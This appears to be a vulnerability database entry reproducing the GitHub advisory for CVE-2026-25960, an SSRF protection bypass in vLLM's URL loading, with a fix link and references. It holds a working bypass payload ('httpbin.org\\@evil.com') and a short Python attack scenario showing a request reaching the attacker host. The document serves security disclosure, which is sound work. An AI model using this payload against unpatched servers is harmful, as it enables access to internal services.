Browse / AI Framework and Platform Flaws / CVE-2026-25960
vLLM has SSRF Protection Bypass
- Class
- AI Framework and Platform Flaws (filed by a model that read the source)
- Technique
- Server-side request forgery
- Affected
- vllm (PyPI)
- Gets past
- SSRF protection
- CVSS
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L
- EPSS
- 0.6% chance of exploitation in 30 days
How it works, in short
vLLM's URL check parses backslash-containing URLs differently from the aiohttp client that fetches them, letting a request reach an attacker host. (Our summary, written by a model. The source text is below.)
Details
Summary
The SSRF protection fix for https://github.com/vllm-project/vllm/security/advisories/GHSA-qh4c-xf7m-gxfc can be bypassed in the load_from_url_async method due to inconsistent URL parsing behavior between the validation layer and the actual HTTP client.
Affected Component
- File:
vllm/connections.py - Function:
load_from_url_async
Vulnerability Details
Root Cause
The SSRF fix uses urllib3.util.parse_url() to validate and extract the hostname from user-provided URLs. However, load_from_url_async uses aiohttp for making the actual HTTP requests, and aiohttp internally uses the yarl library for URL parsing.
These two URL parsers handle backslash characters (\) differently:
| Parser | Input URL | Parsed Host | Parsed Path | Behavior |
|--------|-----------|-------------|-------------|----------|
| urllib3.parse_url() | https://httpbin.org\@evil.com/ | httpbin.org | /%5C@evil.com/ | URL-encodes \ as %5C, treats \@evil.com/ as part of the path |
| yarl (via aiohttp) | https://httpbin.org\@evil.com/ | evil.com | / | Treats \ as part of userinfo (user: httpbin.org\), the @ acts as the userinfo/host separator |
Attack Scenario
# Attacker provides this URL
malicious_url = "https://httpbin.org\\@evil.com/"
# 1. Validation layer (urllib3.parse_url)
parsed = urllib3.util.parse_url(malicious_url)
# parsed.host == "httpbin.org" ✅ Passes validation
# 2. Actual request (aiohttp with yarl)
async with aiohttp.ClientSession() as session:
async with session.get(malicious_url) as response:
# Request actually goes to evil.com! ❌ Bypass!
Why This Happens
- yarl: Interprets
httpbin.org\as the userinfo component, and@as the userinfo/host separator, so the URL is parsed asuser=httpbin.org\,host=evil.com,path=/ - urllib3: URL-encodes the backslash as
%5C, so\@evil.com/becomes/%5C@evil.com/which is treated as part of the path, leavinghost=httpbin.org
This inconsistency allows an attacker to:
- Bypass the hostname allowlist check
- Access arbitrary internal/external services
- Perform full SSRF attacks
Fixes
- https://github.com/vllm-project/vllm/pull/34743
References
- https://github.com/vllm-project/vllm/security/advisories/GHSA-qh4c-xf7m-gxfc
- https://github.com/vllm-project/vllm/security/advisories/GHSA-v359-jj2v-j536
- https://nvd.nist.gov/vuln/detail/CVE-2026-25960
- https://github.com/vllm-project/vllm/pull/34743
- https://github.com/vllm-project/vllm/commit/6f3b2047abd4a748e3db4a68543f8221358002c0
- https://access.redhat.com/errata/RHSA-2026:24977
- https://access.redhat.com/security/cve/CVE-2026-25960
- https://bugzilla.redhat.com/show_bug.cgi?id=2445892
- https://github.com/advisories/GHSA-v359-jj2v-j536
- https://github.com/pypa/advisory-database/tree/main/vulns/vllm/PYSEC-2026-3411.yaml
- https://github.com/vllm-project/vllm
- https://pypi.org/project/vllm
Source: GitHub Advisory Database, used under CC BY 4.0.